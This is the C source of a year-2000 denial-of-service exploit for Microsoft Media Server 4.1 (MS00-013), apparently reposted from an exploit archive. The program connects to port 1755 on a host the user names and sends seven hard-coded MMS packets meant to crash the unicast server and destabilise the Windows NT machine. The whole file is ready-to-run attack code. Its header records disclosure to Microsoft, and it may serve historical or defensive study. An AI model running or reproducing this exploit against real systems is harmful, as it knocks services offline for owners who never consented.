Microsoft Media Server 4.1 - Denial of Service exploit. This code will crash the Microsoft Media Unicast Server for Windows NT. We have tested this against machines running SP4 and SP6. Exploits the bug in ms00-013
cf6c20c1bd7246463c77ae25834294b7ce3a4cd2ae2fbfb9bfe122b462e14495
/*
*
* Jan-18-2000
*
* [ http://www.rootshell.com/ ]
*
* Microsoft Media Server 4.1 - Denial of Service Attack
*
* This code will crash the Microsoft Media Unicast Server for
* Windows NT. We have tested this against machines running SP4
* and SP6.
*
* We have seen the entire machine become very unstable following
* the crash of the unicast server.
*
* Notified secure@microsoft.com Jan-18-2000 at 11:30 AM.
* Microsoft advisory released Feb-23-2000.
*
* http://www.microsoft.com/technet/security/bulletin/fq00-013.asp
*
*/
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
char packet1[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0xa0, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf8, 0x53, 0xe3, 0xa5, 0x9b, 0xc4, 0x00, 0x40, 0x12, 0x00, 0x00, 0x00,
0x01, 0x00, 0x03, 0x00, 0xf0, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00,
0x1c, 0x00, 0x03, 0x00, 0x4e, 0x00, 0x53, 0x00, 0x50, 0x00, 0x6c, 0x00,
0x61, 0x00, 0x79, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2f, 0x00, 0x34, 0x00,
0x2e, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x33, 0x00,
0x38, 0x00, 0x35, 0x00, 0x37, 0x00, 0x3b, 0x00, 0x20, 0x00, 0x7b, 0x00,
0x30, 0x00, 0x32, 0x00, 0x64, 0x00, 0x30, 0x00, 0x63, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x35, 0x00, 0x30, 0x00,
0x37, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x31, 0x00, 0x64, 0x00, 0x32, 0x00,
0x2d, 0x00, 0x39, 0x00, 0x61, 0x00, 0x61, 0x00, 0x38, 0x00, 0x2d, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00, 0x33, 0x00, 0x30, 0x00,
0x34, 0x00, 0x34, 0x00, 0x61, 0x00, 0x65, 0x00, 0x37, 0x00, 0x65, 0x00,
0x7d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
char packet2[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x20, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x49, 0x0c, 0x02, 0x2b, 0x01, 0x40, 0x02, 0x00, 0x00, 0x00,
0x18, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00
};
char packet3[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x60, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x83, 0xc0, 0xca, 0xa1, 0x45, 0xb6, 0x01, 0x40, 0x0a, 0x00, 0x00, 0x00,
0x02, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x02, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2e, 0x00,
0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00,
0x32, 0x00, 0x5c, 0x00, 0x54, 0x00, 0x43, 0x00, 0x50, 0x00, 0x5c, 0x00,
0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00
};
char packet4[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x88, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x2b, 0x87, 0x16, 0xd9, 0xce, 0xf7, 0x01, 0x40, 0x0f, 0x00, 0x00, 0x00,
0x05, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00,
0x65, 0x00, 0x20, 0x00, 0x45, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6c, 0x00,
0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x71, 0x00,
0x75, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00,
0x75, 0x00, 0x6e, 0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00,
0x20, 0x00, 0x32, 0x00, 0x38, 0x00, 0x6b, 0x00, 0x2f, 0x00, 0x65, 0x00,
0x61, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x73, 0x00, 0x32, 0x00,
0x38, 0x00, 0x2e, 0x00, 0x61, 0x00, 0x73, 0x00, 0x66, 0x00, 0x00, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00
};
char packet5[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x48, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x09, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x02, 0x40, 0x07, 0x00, 0x00, 0x00,
0x15, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xac, 0x40, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
char packet6[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x30, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x0a, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, 0x11, 0x40, 0x04, 0x00, 0x00, 0x00,
0x33, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00
};
char packet7[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x38, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x2f, 0xdd, 0x24, 0x06, 0x81, 0x15, 0x11, 0x40, 0x05, 0x00, 0x00, 0x00,
0x07, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x16, 0xca, 0x03, 0x80, 0x04, 0x00, 0x00, 0x00
};
int sock;
int main(int argc, char *argv[]) {
struct hostent *he;
struct sockaddr_in sa;
char buf[1024];
if (argc != 2) {
fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
return(-1);
}
sock = socket ( AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(1755);
he = gethostbyname (argv[1]);
if (!he) {
if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
return(-1);
} else {
bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
fprintf(stderr, "Fatal Error: Can't connect to Microsoft Media Server.\n");
return(-1);
}
write(sock, packet1, sizeof(packet1));
write(sock, packet2, sizeof(packet2));
write(sock, packet3, sizeof(packet3));
write(sock, packet4, sizeof(packet4));
write(sock, packet5, sizeof(packet5));
write(sock, packet6, sizeof(packet6));
write(sock, packet7, sizeof(packet7));
for (;;) {
read(sock, buf, sizeof(buf));
}
}